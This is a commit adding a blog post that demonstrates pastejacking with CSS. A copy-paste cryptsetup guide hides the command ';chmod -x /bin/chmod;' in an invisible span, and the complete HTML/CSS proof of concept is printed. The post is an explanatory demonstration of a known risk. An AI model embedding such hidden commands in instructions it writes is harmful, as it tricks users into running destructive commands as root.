Browse code
New article: Dangerous CSS
Cinan Rakosnik authored on 25/01/2014 at 22:46:29Showing 1 changed files
| 1 | 1 |
new file mode 100644 |
| ... | ... |
@@ -0,0 +1,111 @@ |
| 0 |
+--- |
|
| 1 |
+layout: post |
|
| 2 |
+title: "Dangerous CSS: how to unnoticeably destroy *nix system" |
|
| 3 |
+date: 2014-01-25 23:16 |
|
| 4 |
+comments: true |
|
| 5 |
+categories: [] |
|
| 6 |
+cover: /images/cover/avatar.png |
|
| 7 |
+keywords: |
|
| 8 |
+description: |
|
| 9 |
+--- |
|
| 10 |
+ |
|
| 11 |
+Let's do bad things. I've got an idea -- provide a nice looking |
|
| 12 |
+Linux command on a blog/wiki. Yep, that's almost all. |
|
| 13 |
+ |
|
| 14 |
+Imagine you're setting up dm-crypt encryption. You'll find a guide |
|
| 15 |
+with commands ready to copy & paste into your terminal. |
|
| 16 |
+Almost all commands have to be run as root, that's good for me. |
|
| 17 |
+Something like this: |
|
| 18 |
+ |
|
| 19 |
+{% codeblock lang:bash %}
|
|
| 20 |
+cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash sha512 --iter-time 5000 --use-urandom --verify-passphrase luksFormat <device> |
|
| 21 |
+{% endcodeblock %}
|
|
| 22 |
+ |
|
| 23 |
+Oh, almighty CSS, now it's your turn. Go to [this page](http://cinan.sk/pub/dangerous-css.html) |
|
| 24 |
+and copy the command. I added some javascript stuff to make text selecting |
|
| 25 |
+easier -- **javascript isn't required**. Now paste the copied text |
|
| 26 |
+somewhere. As you can see, there's bonus command (```chmod -x /bin/chmod```). Nice, isn't it? |
|
| 27 |
+ |
|
| 28 |
+Code, obviously: |
|
| 29 |
+{% codeblock lang:html %}
|
|
| 30 |
+<html> |
|
| 31 |
+<head> |
|
| 32 |
+ <script src="http://code.jquery.com/jquery-1.11.0.min.js"></script> |
|
| 33 |
+ <script src="http://code.jquery.com/jquery-migrate-1.2.1.js"></script> |
|
| 34 |
+ <script> |
|
| 35 |
+ // Makes selecting text easier |
|
| 36 |
+ jQuery.fn.selText = function() {
|
|
| 37 |
+ var obj = this[0]; |
|
| 38 |
+ if (jQuery.browser.msie) {
|
|
| 39 |
+ var range = obj.offsetParent.createTextRange(); |
|
| 40 |
+ range.moveToElementText(obj); |
|
| 41 |
+ range.select(); |
|
| 42 |
+ } else if (jQuery.browser.mozilla || jQuery.browser.opera) {
|
|
| 43 |
+ var selection = obj.ownerDocument.defaultView.getSelection(); |
|
| 44 |
+ var range = obj.ownerDocument.createRange(); |
|
| 45 |
+ range.selectNodeContents(obj); |
|
| 46 |
+ selection.removeAllRanges(); |
|
| 47 |
+ selection.addRange(range); |
|
| 48 |
+ } else if (jQuery.browser.webkit) {
|
|
| 49 |
+ var selection = obj.ownerDocument.defaultView.getSelection(); |
|
| 50 |
+ selection.setBaseAndExtent(obj, 0, obj, obj.innerText.length - 1); |
|
| 51 |
+ } |
|
| 52 |
+ return this; |
|
| 53 |
+ } |
|
| 54 |
+ |
|
| 55 |
+ $(document).ready(function() {
|
|
| 56 |
+ $('pre').click(function(e) {
|
|
| 57 |
+ e.preventDefault(); |
|
| 58 |
+ $(this).selText(); |
|
| 59 |
+ }) |
|
| 60 |
+ }); |
|
| 61 |
+ </script> |
|
| 62 |
+ <style> |
|
| 63 |
+ *::selection {
|
|
| 64 |
+ background: rgb(95, 196, 243); |
|
| 65 |
+ } |
|
| 66 |
+ |
|
| 67 |
+ /* INTERESTING PART */ |
|
| 68 |
+ span {
|
|
| 69 |
+ width: 1px; /* can't be 0px */ |
|
| 70 |
+ white-space: nowrap; |
|
| 71 |
+ display: inline-block; |
|
| 72 |
+ overflow: hidden; /* text hiding */ |
|
| 73 |
+ color: transparent; /* text hiding */ |
|
| 74 |
+ vertical-align: middle; |
|
| 75 |
+ position: absolute; |
|
| 76 |
+ } |
|
| 77 |
+ |
|
| 78 |
+ pre {
|
|
| 79 |
+ display: inline-block; |
|
| 80 |
+ white-space: nowrap; |
|
| 81 |
+ overflow: hidden; |
|
| 82 |
+ border: 1px solid #bcd; |
|
| 83 |
+ background-color: #ebf1f5; |
|
| 84 |
+ color: #222; |
|
| 85 |
+ font-family: monospace; |
|
| 86 |
+ line-height: 1.1em; |
|
| 87 |
+ padding: 1em; |
|
| 88 |
+ } |
|
| 89 |
+ |
|
| 90 |
+ pre:first-of-type {
|
|
| 91 |
+ border-right: 0; |
|
| 92 |
+ padding-right: 0; |
|
| 93 |
+ } |
|
| 94 |
+ |
|
| 95 |
+ pre:last-of-type {
|
|
| 96 |
+ border-left: 0; |
|
| 97 |
+ padding-left: 2ex; |
|
| 98 |
+ } |
|
| 99 |
+ </style> |
|
| 100 |
+<body> |
|
| 101 |
+ <pre>#</pre><pre>cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash |
|
| 102 |
+ sha512 --iter-time 500<span>;chmod -x /bin/chmod; </span>0 --use-urandom --verify-passphrase luksFormat <device> |
|
| 103 |
+ </pre> |
|
| 104 |
+</body> |
|
| 105 |
+</html> |
|
| 106 |
+{% endcodeblock %}
|
|
| 107 |
+ |
|
| 108 |
+What's happening here: I'm selecting ```pre``` content which also contains another |
|
| 109 |
+```span``` element. |
|
| 110 |
+Tested on Chromium, Firefox, Opera and Safari. |
|
| 0 | 111 |
\ No newline at end of file |